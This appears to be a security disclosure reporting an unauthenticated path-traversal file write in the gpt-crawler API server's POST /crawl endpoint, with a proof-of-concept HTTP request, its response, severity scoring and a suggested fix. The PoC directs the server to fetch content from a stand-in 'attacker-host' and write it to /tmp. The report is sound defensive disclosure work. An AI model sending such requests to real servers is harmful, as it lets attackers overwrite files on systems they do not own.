Unauthenticated Arbitrary File Write via outputFileName
reported via email on 2 June 2026 - no response:
I am writing to report a security vulnerability in the gpt-crawler API server mode, confirmed against v1.5.1 (commit d2245d6).
Summary:
The POST /crawl endpoint accepts a caller-supplied outputFileName field that is used as a raw file system path with no validation, canonicalization, or directory restriction. Combined with the complete absence of authentication on the API server, any network-accessible attacker can write attacker-controlled content to any path the server process can write.
Affected file: src/core.ts, function nextFileName (line 179-184) and writeBatchToFile (line 182-194).
The outputFileName field is defined in the Zod schema only as z.string() (src/config.ts line 44). No path normalization, no allowlist for output directory, no check that the resolved path stays within an expected base directory.
PoC:
The following request was issued against a local instance of the server with no credentials:
POST /crawl HTTP/1.1
Host: localhost:3000
Content-Type: application/json
{
"url": "http://attacker-host/payload.html",
"match": "http://attacker-host/**",
"maxPagesToCrawl": 1,
"outputFileName": "/tmp/evil_write.json"
}
Response (HTTP 200):
[{"title":"","url":"http://attacker-host/payload.html","html":"attacker-controlled content here"}]
The file /tmp/evil_write-1.json was created on the server with the crawled content -- outside the application directory. The HTTP response body also includes the written content, confirming both arbitrary file write and content exfiltration.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L (8.6 High) CWE-22: Improper Limitation of a Pathname to a Restricted Directory
Suggested fix:
Resolve outputFileName against a fixed base directory and reject paths that escape it using Node's path.resolve and a prefix check, for example:
import path from "path";
const OUTPUT_DIR = path.resolve("./output");
const safePath = path.resolve(OUTPUT_DIR, path.basename(config.outputFileName));
if (!safePath.startsWith(OUTPUT_DIR + path.sep)) {
throw new Error("Invalid outputFileName: path traversal detected");
}
Additionally, add authentication to the API server (at minimum an API key checked via middleware) before deploying it in any network-accessible context.
Source: BuilderIO/gpt-crawler